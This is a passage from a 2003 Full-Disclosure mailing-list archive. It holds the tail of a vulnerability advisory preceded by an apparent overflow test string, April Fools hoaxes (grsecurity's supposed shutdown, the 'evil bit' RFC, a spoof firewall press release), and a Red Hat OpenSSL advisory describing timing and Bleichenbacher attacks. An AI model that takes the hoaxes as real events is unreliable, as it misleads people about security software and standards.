AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA 4. SOLUTIONS ====================================================================== No solution for the moment. 5. VENDOR STATUS ====================================================================== The vendor has reportedly been notified. 6. CREDITS ====================================================================== Discovered by Gregory Le Bras 7. DISLAIMER ====================================================================== The information within this paper may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties with regard to this information. In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or spread of this information. Any use of this information is at the user's own risk. 8. REFERENCES ====================================================================== - Original Version: http://www.security-corporation.com/index.php?id=advisories&a=015 - Version Fran?aise: http://www.security-corporation.com/index.php?id=advisories&a=015-FR 9. FEEDBACK ====================================================================== Please send suggestions, updates, and comments to: Security Corporation http://www.security-corporation.com info at security-corporation.com From smenard at nbnet.nb.ca Tue Apr 1 14:34:23 2003 From: smenard at nbnet.nb.ca (smenard) Date: Tue, 1 Apr 2003 09:34:23 -0400 Subject: [Full-Disclosure] grsecurity: Another one bites the dust... In-Reply-To: Message-ID: Looks more like april fools BYTES security gurus on the list click grsecurity logo dammit -----Original Message----- From: full-disclosure-admin at lists.netsys.com [mailto:full-disclosure-admin at lists.netsys.com]On Behalf Of Jeff Sent: Monday, March 31, 2003 10:34 PM To: full-disclosure at lists.netsys.com Subject: [Full-Disclosure] grsecurity: Another one bites the dust... http://www.grsecurity.net Looks like another big company screwed over a team of innocent developers. It's a shame, grsecurity had so much promise. Figures. -jeff _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html --- Incoming mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.465 / Virus Database: 263 - Release Date: 3/25/2003 --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.465 / Virus Database: 263 - Release Date: 3/25/2003 From Glenn_Everhart at bankone.com Tue Apr 1 15:06:01 2003 From: Glenn_Everhart at bankone.com (Glenn_Everhart at bankone.com) Date: Tue, 1 Apr 2003 09:06:01 -0500 Subject: [Full-Disclosure] grsecurity: Another one bites the dust... Message-ID: Anybody know what the patent claims are? Some of the descriptions of grsecurity sound an awful lot like technology I developed for VMS and published in the late 1990s in the Safety program (still available, free) or documented as trivial extensions (rate limits). A brief description of the Safety program is at http://users.rcn.com/gce in case there is a wish to see what it has in a very limited way. It assumes the VMS ACL system of course, and some of the other security goodness in VMS, but gets fairly tricky in other ways. The rate limiting idea was something I have described as a useful feature for at least the past 6-7 years and can be found here and there in my mails and some bits of publications (DECUS sigtapes mainly). At any rate, it is possibly prior art and publication, and was certainly released to the public and should be useful in defending claims that functions it provides could be patented by someone else. At one time I wanted to sell Safety, but gave up on that and just published the sources several years ago. The documents had been published when it was first implemented (along about 1995). While there is a bunch of other stuff in grsecurity that is not in Safety it is probably worth while to keep aware of what has been published (even in publications that (alas) seem to have narrow circulation) so that if someone claims patents on some of those functions, the patents can be disputed. Glenn Everhart -----Original Message----- From: Jeff [mailto:jeff at xiir.net] Sent: Monday, March 31, 2003 10:14 PM To: full-disclosure at lists.netsys.com Subject: [Full-Disclosure] grsecurity: Another one bites the dust... http://www.grsecurity.net Looks like another big company screwed over a team of innocent developers. It's a shame, grsecurity had so much promise. Figures. -jeff _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html ********************************************************************** This transmission may contain information that is privileged, confidential and/or exempt from disclosure under applicable law. If you are not the intended recipient, you are hereby notified that any disclosure, copying, distribution, or use of the information contained herein (including any reliance thereon) is STRICTLY PROHIBITED. If you received this transmission in error, please immediately contact the sender and destroy the material in its entirety, whether in electronic or hard copy format. Thank you ********************************************************************** From drew at overt.org Tue Apr 1 15:45:57 2003 From: drew at overt.org (Andrew Hintz (Drew)) Date: Tue, 1 Apr 2003 08:45:57 -0600 Subject: [Full-Disclosure] grsecurity: Another one bites the dust... In-Reply-To: Message-ID: I bet they're referring to this patent: Security management system and method #6,542,993 Abstract: A comprehensive system and method for managing security in an electronic network. The method includes the steps of providing a plurality of security services, providing a plurality of security mechanisms, and linking the services and mechanisms with a plurality of security management functions. I just got a letter about this one too. Oh well, what is this world coming to? All these patents and such... I just don't get it. HTH, -- ^Drew http://guh.nu --Begin PGP Fingerprint-- 3C6C F712 0A52 BD33 C518 5798 9014 CA99 2DA0 5E78 --End PGP Fingerprint-- > -----Original Message----- > From: full-disclosure-admin at lists.netsys.com > [mailto:full-disclosure-admin at lists.netsys.com]On Behalf Of > Glenn_Everhart at bankone.com > Sent: Tuesday, April 01, 2003 8:06 AM > To: jeff at xiir.net; full-disclosure at lists.netsys.com > Subject: RE: [Full-Disclosure] grsecurity: Another one bites the dust... > > > Anybody know what the patent claims are? > > Some of the descriptions of grsecurity sound an awful lot like technology > I developed for VMS and published in the late 1990s in the Safety > program (still available, free) or documented as trivial > extensions (rate limits). > > A brief description of the Safety program is at http://users.rcn.com/gce > in case there is a wish to see what it has in a very limited way. > It assumes > the VMS ACL system of course, and some of the other security > goodness in VMS, > but gets fairly tricky in other ways. > > The rate limiting idea was something I have described as a useful > feature for > at least the past 6-7 years and can be found here and there in my > mails and > some bits of publications (DECUS sigtapes mainly). > > At any rate, it is possibly prior art and publication, and was certainly > released to the public and should be useful in defending claims > that functions > it provides could be patented by someone else. > > At one time I wanted to sell Safety, but gave up on that and just > published the > sources several years ago. The documents had been published when > it was first > implemented (along about 1995). > > While there is a bunch of other stuff in grsecurity that is not in Safety > it is probably worth while to keep aware of what has been > published (even in > publications that (alas) seem to have narrow circulation) so that > if someone > claims patents on some of those functions, the patents can be disputed. > > Glenn Everhart > > > -----Original Message----- > From: Jeff [mailto:jeff at xiir.net] > Sent: Monday, March 31, 2003 10:14 PM > To: full-disclosure at lists.netsys.com > Subject: [Full-Disclosure] grsecurity: Another one bites the dust... > > > http://www.grsecurity.net > > Looks like another big company screwed over a team of innocent developers. > It's a shame, grsecurity had so much promise. > > Figures. > > -jeff > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html > > > ********************************************************************** > This transmission may contain information that is privileged, > confidential and/or exempt from disclosure under applicable law. > If you are not the intended recipient, you are hereby notified > that any disclosure, copying, distribution, or use of the > information contained herein (including any reliance thereon) is > STRICTLY PROHIBITED. If you received this transmission in error, > please immediately contact the sender and destroy the material in > its entirety, whether in electronic or hard copy format. Thank you > ********************************************************************** > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html > From scottp at dreamwright.com Tue Apr 1 15:58:57 2003 From: scottp at dreamwright.com (Scott Phelps / Dreamwright Studios) Date: Tue, 1 Apr 2003 09:58:57 -0500 Subject: [Full-Disclosure] grsecurity: Another one bites the dust... In-Reply-To: Message-ID: <001701c2f85f$392b8450$fd00000a@genero> Ummm, what day is it? -----Original Message----- From: full-disclosure-admin at lists.netsys.com [mailto:full-disclosure-admin at lists.netsys.com] On Behalf Of Glenn_Everhart at bankone.com Sent: Tuesday, April 01, 2003 9:06 AM To: jeff at xiir.net; full-disclosure at lists.netsys.com Subject: RE: [Full-Disclosure] grsecurity: Another one bites the dust... Anybody know what the patent claims are? Some of the descriptions of grsecurity sound an awful lot like technology I developed for VMS and published in the late 1990s in the Safety program (still available, free) or documented as trivial extensions (rate limits). A brief description of the Safety program is at http://users.rcn.com/gce in case there is a wish to see what it has in a very limited way. It assumes the VMS ACL system of course, and some of the other security goodness in VMS, but gets fairly tricky in other ways. The rate limiting idea was something I have described as a useful feature for at least the past 6-7 years and can be found here and there in my mails and some bits of publications (DECUS sigtapes mainly). At any rate, it is possibly prior art and publication, and was certainly released to the public and should be useful in defending claims that functions it provides could be patented by someone else. At one time I wanted to sell Safety, but gave up on that and just published the sources several years ago. The documents had been published when it was first implemented (along about 1995). While there is a bunch of other stuff in grsecurity that is not in Safety it is probably worth while to keep aware of what has been published (even in publications that (alas) seem to have narrow circulation) so that if someone claims patents on some of those functions, the patents can be disputed. Glenn Everhart -----Original Message----- From: Jeff [mailto:jeff at xiir.net] Sent: Monday, March 31, 2003 10:14 PM To: full-disclosure at lists.netsys.com Subject: [Full-Disclosure] grsecurity: Another one bites the dust... http://www.grsecurity.net Looks like another big company screwed over a team of innocent developers. It's a shame, grsecurity had so much promise. Figures. -jeff _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html ********************************************************************** This transmission may contain information that is privileged, confidential and/or exempt from disclosure under applicable law. If you are not the intended recipient, you are hereby notified that any disclosure, copying, distribution, or use of the information contained herein (including any reliance thereon) is STRICTLY PROHIBITED. If you received this transmission in error, please immediately contact the sender and destroy the material in its entirety, whether in electronic or hard copy format. Thank you ********************************************************************** _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html From ben at twowaytv.co.uk Tue Apr 1 16:19:38 2003 From: ben at twowaytv.co.uk (Ben Tyson-Norrman) Date: Tue, 1 Apr 2003 16:19:38 +0100 Subject: [Full-Disclosure] FW: Nmap compliance with new RFC 3514 Message-ID: <67B8C9B2D205D611B85200508BBC0E2001485D52@msxsvr> Even Fyodor is getting in on the act, better than the snorkeling dog.... -----Original Message----- From: Fyodor [mailto:fyodor at insecure.org] Sent: 01 April 2003 06:50 To: nmap-hackers at insecure.org Subject: Nmap compliance with new RFC 3514 Hey everyone, Security expert Steven Bellovin just released RFC 3514 which details an innovative new approach to IPv4 security. The described "security bit" flags the intention of IP traffic (0x0 means innocent and 0x1 is for "evil" packets). The RFC (below) specifically notes the dual-purpose nature of security scanners such as Nmap: "Some hosts scan other hosts in a fashion that can alert intrusion detection systems. If the scanning is part of a benign research project, the evil bit MUST NOT be set. If the scanning per se is innocent, but the ultimate intent is evil and the destination site has such an intrusion detection system, the evil bit SHOULD be set." I think this leads to two important questions WRT Nmap compliance: 1) How should Nmap determine evil intent? Perhaps an --evil option would be handy, or maybe a standard environmental variable should be used (SCRIPT_KIDDIE=1?) so that all security programs run by the hacker set the flag appropriately? Or maybe Nmap could ship with a hardcoded list of UNIX usernames used by known malicious hackers? Maybe shady options like "decoy scan" and Idle Stealth scan should always set the bit. 2) Should the overall Nmap default be to set the bit unless the user gives a "good intentions" option, or should we assume innocence until proven guilty? Let me know what you think :). As usual, I don't plan to implement the IPv6 extensions unless I get sufficient requests to demonstrate demand. -Fyodor Here is the RFC text: [ ftp://ftp.rfc-editor.org/in-notes/rfc3514.txt ] Network Working Group S. Bellovin Request for Comments: 3514 AT&T Labs Research Category: Informational 1 April 2003 The Security Flag in the IPv4 Header Status of this Memo This memo provides information for the Internet community. It does not specify an Internet standard of any kind. Distribution of this memo is unlimited. Copyright Notice Copyright (C) The Internet Society (2003). All Rights Reserved. Abstract Firewalls, packet filters, intrusion detection systems, and the like often have difficulty distinguishing between packets that have malicious intent and those that are merely unusual. We define a security flag in the IPv4 header as a means of distinguishing the two cases. 1. Introduction Firewalls [CBR03], packet filters, intrusion detection systems, and the like often have difficulty distinguishing between packets that have malicious intent and those that are merely unusual. The problem is that making such determinations is hard. To solve this problem, we define a security flag, known as the "evil" bit, in the IPv4 [RFC791] header. Benign packets have this bit set to 0; those that are used for an attack will have the bit set to 1. 1.1. Terminology The keywords MUST, MUST NOT, REQUIRED, SHALL, SHALL NOT, SHOULD, SHOULD NOT, RECOMMENDED, MAY, and OPTIONAL, when they appear in this document, are to be interpreted as described in [RFC2119]. 2. Syntax The high-order bit of the IP fragment offset field is the only unused bit in the IP header. Accordingly, the selection of the bit position is not left to IANA. The bit field is laid out as follows: 0 +-+ |E| +-+ Currently-assigned values are defined as follows: 0x0 If the bit is set to 0, the packet has no evil intent. Hosts, network elements, etc., SHOULD assume that the packet is harmless, and SHOULD NOT take any defensive measures. (We note that this part of the spec is already implemented by many common desktop operating systems.) 0x1 If the bit is set to 1, the packet has evil intent. Secure systems SHOULD try to defend themselves against such packets. Insecure systems MAY chose to crash, be penetrated, etc. 3. Setting the Evil Bit There are a number of ways in which the evil bit may be set. Attack applications may use a suitable API to request that it be set. Systems that do not have other mechanisms MUST provide such an API; attack programs MUST use it. Multi-level insecure operating systems may have special levels for attack programs; the evil bit MUST be set by default on packets emanating from programs running at such levels. However, the system MAY provide an API to allow it to be cleared for non-malicious activity by users who normally engage in attack behavior. Fragments that by themselves are dangerous MUST have the evil bit set. If a packet with the evil bit set is fragmented by an intermediate router and the fragments themselves are not dangerous, the evil bit MUST be cleared in the fragments, and MUST be turned back on in the reassembled packet. Intermediate systems are sometimes used to launder attack connections. Packets to such systems that are intended to be relayed to a target SHOULD have the evil bit set. Some applications hand-craft their own packets. If these packets are part of an attack, the application MUST set the evil bit by itself. In networks protected by firewalls, it is axiomatic that all attackers are on the outside of the firewall. Therefore, hosts inside the firewall MUST NOT set the evil bit on any packets. Because NAT [RFC3022] boxes modify packets, they SHOULD set the evil bit on such packets. "Transparent" http and email proxies SHOULD set the evil bit on their reply packets to the innocent client host. Some hosts scan other hosts in a fashion that can alert intrusion detection systems. If the scanning is part of a benign research project, the evil bit MUST NOT be set. If the scanning per se is innocent, but the ultimate intent is evil and the destination site has such an intrusion detection system, the evil bit SHOULD be set. 4. Processing of the Evil Bit Devices such as firewalls MUST drop all inbound packets that have the evil bit set. Packets with the evil bit off MUST NOT be dropped. Dropped packets SHOULD be noted in the appropriate MIB variable. Intrusion detection systems (IDSs) have a harder problem. Because of their known propensity for false negatives and false positives, IDSs MUST apply a probabilistic correction factor when evaluating the evil bit. If the evil bit is set, a suitable random number generator [RFC1750] must be consulted to determine if the attempt should be logged. Similarly, if the bit is off, another random number generator must be consulted to determine if it should be logged despite the setting. The default probabilities for these tests depends on the type of IDS. Thus, a signature-based IDS would have a low false positive value but a high false negative value. A suitable administrative interface MUST be provided to permit operators to reset these values. Routers that are not intended as as security devices SHOULD NOT examine this bit. This will allow them to pass packets at higher speeds. As outlined earlier, host processing of evil packets is operating- system dependent; however, all hosts MUST react appropriately according to their nature. 5. Related Work Although this document only defines the IPv4 evil bit, there are complementary mechanisms for other forms of evil. We sketch some of those here. For IPv6 [RFC2460], evilness is conveyed by two options. The first, a hop-by-hop option, is used for packets that damage the network, such as DDoS packets. The second, an end-to-end option, is for packets intended to damage destination hosts. In either case, the option contains a 128-bit strength indicator, which says how evil the packet is, and a 128-bit type code that describes the particular type of attack intended. Some link layers, notably those based on optical switching, may bypass routers (and hence firewalls) entirely. Accordingly, some link-layer scheme MUST be used to denote evil. This may involve evil lambdas, evil polarizations, etc. DDoS attack packets are denoted by a special diffserv code point. An application/evil MIME type is defined for Web- or email-carried mischief. Other MIME types can be embedded inside of evil sections; this permit easy encoding of word processing documents with macro viruses, etc. 6. IANA Considerations This document defines the behavior of security elements for the 0x0 and 0x1 values of this bit. Behavior for other values of the bit may be defined only by IETF consensus [RFC2434]. 7. Security Considerations Correct functioning of security mechanisms depend critically on the evil bit being set properly. If faulty components do not set the evil bit to 1 when appropriate, firewalls will not be able to do their jobs properly. Similarly, if the bit is set to 1 when it shouldn't be, a denial of service condition may occur. 8. References [CBR03] W.R. Cheswick, S.M. Bellovin, and A.D. Rubin, "Firewalls and Internet Security: Repelling the Wily Hacker", Second Edition, Addison-Wesley, 2003. [RFC791] Postel, J., "Internet Protocol", STD 5, RFC 791, September 1981. [RFC1750] Eastlake, D., 3rd, Crocker, S. and J. Schiller, "Randomness Recommendations for Security", RFC 1750, December 1994. [RFC2119] Bradner, S., "Key words for use in RFCs to Indicate Requirement Levels", BCP 14, RFC 2119, March 1997. [RFC2434] Narten, T. and H. Alvestrand, "Guidelines for Writing an IANA Considerations Section in RFCs", BCP 26, RFC 2434, October 1998. [RFC2460] Deering, S. and R. Hinden, "Internet Protocol, Version 6 (IPv6) Specification", RFC 2460, December 1998. [RFC3022] Srisuresh, P. and K. Egevang, "Traditional IP Network Address Translator (Traditional NAT)", RFC 3022, January 2001. 9. Author's Address Steven M. Bellovin AT&T Labs Research Shannon Laboratory 180 Park Avenue Florham Park, NJ 07932 Phone: +1 973-360-8656 EMail: bellovin at acm.org 10. Full Copyright Statement Copyright (C) The Internet Society (2003). All Rights Reserved. This document and translations of it may be copied and furnished to others, and derivative works that comment on or otherwise explain it or assist in its implementation may be prepared, copied, published and distributed, in whole or in part, without restriction of any kind, provided that the above copyright notice and this paragraph are included on all such copies and derivative works. However, this document itself may not be modified in any way, such as by removing the copyright notice or references to the Internet Society or other Internet organizations, except as needed for the purpose of developing Internet standards in which case the procedures for copyrights defined in the Internet Standards process must be followed, or as required to translate it into languages other than English. The limited permissions granted above are perpetual and will not be revoked by the Internet Society or its successors or assigns. This document and the information contained herein is provided on an "AS IS" basis and THE INTERNET SOCIETY AND THE INTERNET ENGINEERING TASK FORCE DISCLAIMS ALL WARRANTIES, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTY THAT THE USE OF THE INFORMATION HEREIN WILL NOT INFRINGE ANY RIGHTS OR ANY IMPLIED WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. Acknowledgement Funding for the RFC Editor function is currently provided by the Internet Society. -------------------------------------------------- For help using this (nmap-hackers) mailing list, send a blank email to nmap-hackers-help at insecure.org . List run by ezmlm-idx (www.ezmlm.org). --- Incoming mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.463 / Virus Database: 262 - Release Date: 17/03/2003 Visit our web site @ www.twowaytv.com This e-mail and its attachments are intended for the above named recipient(s) only and may be confidential, legally privileged and protected by law. If you are not a named addressee or have received this transmission in error, please notify us immediately at postmaster at twowaytv.co.uk and then delete this e-mail. As Internet communications are not secure we do not accept legal responsibility for the contents of this message or responsibility for any change made to this message after the original sender sent it. Save for this legal notice, the contents or opinions contained within this e-mail are solely those of the sender and do not necessarily represent those of Two Way TV Ltd unless otherwise specifically stated. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20030401/7640180b/attachment.html From dufresne at winternet.com Tue Apr 1 16:44:34 2003 From: dufresne at winternet.com (Ron DuFresne) Date: Tue, 1 Apr 2003 09:44:34 -0600 (CST) Subject: [Full-Disclosure] RFC 3514 released In-Reply-To: <20030331233217.GA21862@grok.org.uk> Message-ID: And others are right up on it's implications and options: From: Mikael Olsson Subject: [fw-wiz] Clavister Proudly Announces RFC3514 Compliance Organization: Clavister AB Date: Tue, 01 Apr 2003 13:23:30 +0200 To: fw-wiz An innovative security initiative ?rnsk?ldsvik, Sweden -------------------------------- April 1, 2003 Clavister AB is proud to present the world's first RFC3514 compliant network firewall product. In a proactive move, Clavister implemented the "IPRF" consistency check five years ago, making its firewall software RFC3514 compliant before the fact. With the release of the innovative security initiative outlined in ftp://ftp.rfc-editor.org/in-notes/rfc3514.txt , Clavister will rename this setting to "IPEvilFlag" and change its configurable set from "Ignore", "Strip" and "Drop" to "Drop" and "HALT" in the new feature release scheduled for April 31. "We foresee a huge demand for the added HALT functionality. With it, a firewall administrator will be able to cause the firewall's CPU to immediately halt and cease forwarding traffic when it sees evil IP datagrams", says Mikael Olsson, R&D Manager at Clavister. "At this point, the administrator can connect to the in-kernel debugger via XMLRPC and fully examine the state of the state table as well as the packet buffers, and carefully consider whether the firewall should continue to execute or simply keep it halted until the attack has blown past." "This represents a great leap forward in security for IP networks. We applaud Steve Bellovin's ingeniousness in engineering this fundamental change to the IP protocol.", concludes John Vestberg, Vice President, Security. Thanks, Ron DuFresne -- On Tue, 1 Apr 2003, John Cartwright wrote: > Hi > > Steve Bellovin has released an important new RFC: > > RFC 3514: The Security Flag in the IPv4 Header > ftp://ftp.rfc-editor.org/in-notes/rfc3514.txt > > - John > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ "Cutting the space budget really restores my faith in humanity. It eliminates dreams, goals, and ideals and lets us get straight to the business of hate, debauchery, and self-annihilation." -- Johnny Hart ***testing, only testing, and damn good at it too!*** OK, so you're a Ph.D. Just don't touch anything. From bugzilla at redhat.com Tue Apr 1 16:50:00 2003 From: bugzilla at redhat.com (bugzilla at redhat.com) Date: Tue, 1 Apr 2003 10:50 -0500 Subject: [Full-Disclosure] [RHSA-2003:101-01] Updated OpenSSL packages fix vulnerabilities Message-ID: <200304011550.h31FoWs16951@porkchop.devel.redhat.com> --------------------------------------------------------------------- Red Hat Security Advisory Synopsis: Updated OpenSSL packages fix vulnerabilities Advisory ID: RHSA-2003:101-01 Issue date: 2003-04-01 Updated on: 2003-04-01 Product: Red Hat Linux Keywords: OpenSSL Bleichenbacher attack RSA keys blinding Cross references: Obsoletes: RHSA-2003:062 CVE Names: CAN-2003-0147 CAN-2003-0131 --------------------------------------------------------------------- 1. Topic: Updated OpenSSL packages are available that fix a potential timing-based attack and a modified Bleichenbacher attack. 2. Relevant releases/architectures: Red Hat Linux 6.2 - i386 Red Hat Linux 7.0 - i386 Red Hat Linux 7.1 - i386 Red Hat Linux 7.2 - i386, i686, ia64 Red Hat Linux 7.3 - i386, i686 Red Hat Linux 8.0 - i386, i686 Red Hat Linux 9 - i386, i686 3. Problem description: OpenSSL is a commercial-grade, full-featured, and open source toolkit that implements Secure Sockets Layer (SSL v2/v3) and Transport Layer Security (TLS v1) protocols as well as a full-strength general purpose cryptography library. Researchers discovered a timing attack on RSA keys. Applications making use of OpenSSL are generally vulnerable to such an attack, unless RSA blinding has been turned on. OpenSSL does not use RSA blinding by default and most applications do not enable RSA blinding. A local or remote attacker could use this attack to obtain the server's private key by determining factors using timing differences on (1) the number of extra reductions during Montgomery reduction, and (2) the use of different integer multiplication algorithms ("Karatsuba" and normal). In order for an attack to be sucessful, an attacker must have good network conditions that allow small changes in timing to be reliably observed. Additionally, the SSL and TLS components for OpenSSL allow remote attackers to perform an unauthorized RSA private key operation via a modified Bleichenbacher attack. This attack uses a large number of SSL or TLS connections, using PKCS #1 v1.5 padding, and causes OpenSSL to leak information regarding the relationship between ciphertext and the associated plaintext, aka the "Klima-Pokorny-Rosa attack." These erratum packages contain a patch provided by the OpenSSL group that enables RSA blinding by default and protects against the "Klima-Pokorny-Rosa attack." Because server applications are affected by these vulnerabilities, users are advised to restart all services that use OpenSSL functionality or reboot their systems after installing these updates. 4. Solution: Before applying this update, make sure all previously released errata relevant to your system have been applied. To update all RPMs for your particular architecture, run: rpm -Fvh [filenames] where [filenames] is a list of the RPMs you wish to upgrade. Only those RPMs which are currently installed will be updated. Those RPMs which are not installed but included in the list will not be updated. Note that you can also use wildcards (*.rpm) if your current directory *only* contains the desired RPMs. Please note that this update is also available via Red Hat Network. Many people find this an easier way to apply updates. To use Red Hat Network, launch the Red Hat Update Agent with the following command: up2date This will start an interactive process that will result in the appropriate RPMs being upgraded on your system. 5. Bug IDs fixed (http://bugzilla.redhat.com/bugzilla for more info): 86112 - New timing attack on OpenSSL applications 6. RPMs required: Red Hat Linux 6.2: SRPMS: ftp://updates.redhat.com/6.2/en/os/SRPMS/openssl-0.9.5a-33.src.rpm i386: ftp://updates.redhat.com/6.2/en/os/i386/openssl-0.9.5a-33.i386.rpm ftp://updates.redhat.com/6.2/en/os/i386/openssl-devel-0.9.5a-33.i386.rpm ftp://updates.redhat.com/6.2/en/os/i386/openssl-perl-0.9.5a-33.i386.rpm ftp://updates.redhat.com/6.2/en/os/i386/openssl-python-0.9.5a-33.i386.rpm Red Hat Linux 7.0: SRPMS: ftp://updates.redhat.com/7.0/en/os/SRPMS/openssl095a-0.9.5a-20.7.src.rpm ftp://updates.redhat.com/7.0/en/os/SRPMS/openssl-0.9.6-16.src.rpm i386: ftp://updates.redhat.com/7.0/en/os/i386/openssl095a-0.9.5a-20.7.i386.rpm ftp://updates.redhat.com/7.0/en/os/i386/openssl-0.9.6-16.i386.rpm ftp://updates.redhat.com/7.0/en/os/i386/openssl-devel-0.9.6-16.i386.rpm ftp://updates.redhat.com/7.0/en/os/i386/openssl-perl-0.9.6-16.i386.rpm ftp://updates.redhat.com/7.0/en/os/i386/openssl-python-0.9.6-16.i386.rpm Red Hat Linux 7.1: SRPMS: ftp://updates.redhat.com/7.1/en/os/SRPMS/openssl095a-0.9.5a-20.7.src.rpm ftp://updates.redhat.com/7.1/en/os/SRPMS/openssl-0.9.6-16.src.rpm i386: ftp://updates.redhat.com/7.1/en/os/i386/openssl095a-0.9.5a-20.7.i386.rpm ftp://updates.redhat.com/7.1/en/os/i386/openssl-0.9.6-16.i386.rpm ftp://updates.redhat.com/7.1/en/os/i386/openssl-devel-0.9.6-16.i386.rpm ftp://updates.redhat.com/7.1/en/os/i386/openssl-perl-0.9.6-16.i386.rpm ftp://updates.redhat.com/7.1/en/os/i386/openssl-python-0.9.6-16.i386.rpm Red Hat Linux 7.2: SRPMS: ftp://updates.redhat.com/7.2/en/os/SRPMS/openssl095a-0.9.5a-20.7.src.rpm ftp://updates.redhat.com/7.2/en/os/SRPMS/openssl096-0.9.6-16.7.src.rpm ftp://updates.redhat.com/7.2/en/os/SRPMS/openssl-0.9.6b-32.7.src.rpm i386: ftp://updates.redhat.com/7.2/en/os/i386/openssl095a-0.9.5a-20.7.i386.rpm ftp://updates.redhat.com/7.2/en/os/i386/openssl096-0.9.6-16.7.i386.rpm ftp://updates.redhat.com/7.2/en/os/i386/openssl-0.9.6b-32.7.i386.rpm ftp://updates.redhat.com/7.2/en/os/i386/openssl-devel-0.9.6b-32.7.i386.rpm ftp://updates.redhat.com/7.2/en/os/i386/openssl-perl-0.9.6b-32.7.i386.rpm i686: ftp://updates.redhat.com/7.2/en/os/i686/openssl-0.9.6b-32.7.i686.rpm ia64: ftp://updates.redhat.com/7.2/en/os/ia64/openssl095a-0.9.5a-20.7.ia64.rpm ftp://updates.redhat.com/7.2/en/os/ia64/openssl096-0.9.6-16.7.ia64.rpm ftp://updates.redhat.com/7.2/en/os/ia64/openssl-0.9.6b-32.7.ia64.rpm ftp://updates.redhat.com/7.2/en/os/ia64/openssl-devel-0.9.6b-32.7.ia64.rpm ftp://updates.redhat.com/7.2/en/os/ia64/openssl-perl-0.9.6b-32.7.ia64.rpm Red Hat Linux 7.3: SRPMS: ftp://updates.redhat.com/7.3/en/os/SRPMS/openssl095a-0.9.5a-20.7.src.rpm ftp://updates.redhat.com/7.3/en/os/SRPMS/openssl096-0.9.6-16.7.src.rpm ftp://updates.redhat.com/7.3/en/os/SRPMS/openssl-0.9.6b-32.7.src.rpm i386: ftp://updates.redhat.com/7.3/en/os/i386/openssl095a-0.9.5a-20.7.i386.rpm ftp://updates.redhat.com/7.3/en/os/i386/openssl096-0.9.6-16.7.i386.rpm ftp://updates.redhat.com/7.3/en/os/i386/openssl-0.9.6b-32.7.i386.rpm ftp://updates.redhat.com/7.3/en/os/i386/openssl-devel-0.9.6b-32.7.i386.rpm ftp://updates.redhat.com/7.3/en/os/i386/openssl-perl-0.9.6b-32.7.i386.rpm i686: ftp://updates.redhat.com/7.3/en/os/i686/openssl-0.9.6b-32.7.i686.rpm Red Hat Linux 8.0: SRPMS: ftp://updates.redhat.com/8.0/en/os/SRPMS/openssl095a-0.9.5a-21.src.rpm ftp://updates.redhat.com/8.0/en/os/SRPMS/openssl096-0.9.6-16.8.src.rpm ftp://updates.redhat.com/8.0/en/os/SRPMS/openssl-0.9.6b-33.src.rpm i386: ftp://updates.redhat.com/8.0/en/os/i386/openssl095a-0.9.5a-21.i386.rpm ftp://updates.redhat.com/8.0/en/os/i386/openssl096-0.9.6-16.8.i386.rpm ftp://updates.redhat.com/8.0/en/os/i386/openssl-0.9.6b-33.i386.rpm ftp://updates.redhat.com/8.0/en/os/i386/openssl-devel-0.9.6b-33.i386.rpm ftp://updates.redhat.com/8.0/en/os/i386/openssl-perl-0.9.6b-33.i386.rpm i686: ftp://updates.redhat.com/8.0/en/os/i686/openssl-0.9.6b-33.i686.rpm Red Hat Linux 9: SRPMS: ftp://updates.redhat.com/9/en/os/SRPMS/openssl096-0.9.6-17.src.rpm ftp://updates.redhat.com/9/en/os/SRPMS/openssl096b-0.9.6b-6.src.rpm ftp://updates.redhat.com/9/en/os/SRPMS/openssl-0.9.7a-5.src.rpm i386: ftp://updates.redhat.com/9/en/os/i386/openssl096-0.9.6-17.i386.rpm ftp://updates.redhat.com/9/en/os/i386/openssl096b-0.9.6b-6.i386.rpm ftp://updates.redhat.com/9/en/os/i386/openssl-0.9.7a-5.i386.rpm ftp://updates.redhat.com/9/en/os/i386/openssl-devel-0.9.7a-5.i386.rpm ftp://updates.redhat.com/9/en/os/i386/openssl-perl-0.9.7a-5.i386.rpm i686: ftp://updates.redhat.com/9/en/os/i686/openssl-0.9.7a-5.i686.rpm 7. Verification: MD5 sum Package Name -------------------------------------------------------------------------- 5b18dd23c08f698d4190a8ece2b3167f 6.2/en/os/SRPMS/openssl-0.9.5a-33.src.rpm 4603bdefd96d82d175b093b30614e02b 6.2/en/os/i386/openssl-0.9.5a-33.i386.rpm da36dafc17769e729618550c0cb0ea4a 6.2/en/os/i386/openssl-devel-0.9.5a-33.i386.rpm 4dca145d74e2c19d6c61a873cdfa4f57 6.2/en/os/i386/openssl-perl-0.9.5a-33.i386.rpm 39121ad8d81f395f1b8a78bb48add695 6.2/en/os/i386/openssl-python-0.9.5a-33.i386.rpm 61a8dcc09dd6deb22873e86d5674c054 7.0/en/os/SRPMS/openssl-0.9.6-16.src.rpm 5ca6550f8ac5068ee74ff3e8878c122d 7.0/en/os/SRPMS/openssl095a-0.9.5a-20.7.src.rpm 